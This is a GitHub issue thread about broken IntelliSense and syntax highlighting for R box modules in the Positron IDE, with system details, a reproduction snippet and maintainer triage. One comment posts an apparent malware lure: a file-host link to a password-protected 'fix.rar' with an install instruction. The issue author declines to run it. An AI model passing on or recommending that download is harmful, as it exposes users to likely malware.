Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Populate diagnostics for box modules statically #4481

Open
dereckmezquita opened this issue Aug 26, 2024 · 4 comments
Open

Populate diagnostics for box modules statically #4481

dereckmezquita opened this issue Aug 26, 2024 · 4 comments
Labels
area: diagnostics Issues related to Diagnostics area: kernels Issues related to Jupyter kernels and LSP servers bug Something isn't working lang: r support
Milestone

Comments

@dereckmezquita
Copy link

dereckmezquita commented Aug 26, 2024

System details:

Positron and OS details:

Positron Version: 2024.08.0 (Universal) build 48
Code - OSS Version: 1.91.0
Commit: ed616b36655fb24d116108bdd833f1321704315b
Date: 2024-08-19T04:26:51.868Z (1 wk ago)
Electron: 29.4.0
Chromium: 122.0.6261.156
Node.js: 20.9.0
V8: 12.2.281.27-electron.0
OS: Darwin arm64 23.4.0

Interpreter details:

> sessionInfo()
R version 4.4.1 (2024-06-14)
Platform: aarch64-apple-darwin23.4.0
Running under: macOS Sonoma 14.4.1

Matrix products: default
BLAS:   /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libBLAS.dylib 
LAPACK: /opt/homebrew/Cellar/r/4.4.1/lib/R/lib/libRlapack.dylib;  LAPACK version 3.12.0

locale:
[1] en_US.UTF-8/en_US.UTF-8/en_US.UTF-8/C/en_US.UTF-8/en_US.UTF-8

time zone: America/Chicago
tzcode source: internal

attached base packages:
[1] stats     graphics  grDevices utils     datasets  methods   base     

loaded via a namespace (and not attached):
[1] compiler_4.4.1 tools_4.4.1    fs_1.6.4       renv_1.0.7   

Describe the issue:

Intellisense and syntax highlighting is broken when using box modules.

Screenshot 2024-08-26 at 12 31 47
Screenshot 2024-08-26 at 12 32 06
Screenshot 2024-08-26 at 12 36 12

Steps to reproduce the issue:

  1. Create positron project.
  2. Create R file
box::use(R6)

TestClass <- R6$R6Class(
    "TestClass",
    public = list(
        initialize = function() print("Hello world!")
    )
)

TestClass2 <- R6::R6Class(
    "TestClass2",
    public = list(
        initialize = function() print("Hello world 2!")
    )
)
  1. Intellisense and syntax highlighting does not work.

Expected or desired behavior:

The tooltips and highlighting should function the same as if I used R6:: or a box module.

Were there any error messages in the UI, Output panel, or Developer Tools console?

NA

@dseynhae
Copy link

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

@dereckmezquita
Copy link
Author

@dseynhae can you provide more context? I will not download and run code I am not familiar with without more context.

@dereckmezquita
Copy link
Author

Moreover, I tested it and there is some functionality, no errors at least in Visual Studio Code.

Screenshot 2024-08-26 at 12 39 25

@juliasilge
Copy link
Contributor

Syntax highlighting, autocomplete, etc work very well after you load the module via box::use(R6):

box-completion.mov

Before you load via box::use(), Positron doesn't know about its contents. This is very similar to the behavior right now with packages that haven't been loaded yet, i.e. #2649 and and I think #2321. I'll put this in the same milestone as that other static analysis work.

@juliasilge juliasilge changed the title Syntax highlighting and Intellisense does not work with box modules in R Populate diagnostics for box modules statically Aug 26, 2024
@juliasilge juliasilge added bug Something isn't working lang: r support area: kernels Issues related to Jupyter kernels and LSP servers area: diagnostics Issues related to Diagnostics labels Aug 26, 2024
@juliasilge juliasilge added this to the Future milestone Aug 26, 2024
@davidrsch
Copy link

davidrsch commented Sep 12, 2024

Along with Rhino 1.10.0, for VSCode and Vim users, we are introducing {box.lsp} to provide syntax auto-completion support for {box} modules. {box.lsp} is an extension to {languageserver}.

From rhino 1.10 today's update, maybe is there a way to implement this.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
area: diagnostics Issues related to Diagnostics area: kernels Issues related to Jupyter kernels and LSP servers bug Something isn't working lang: r support
Projects
None yet
Development

No branches or pull requests

5 participants
@juliasilge @dereckmezquita @dseynhae @davidrsch and others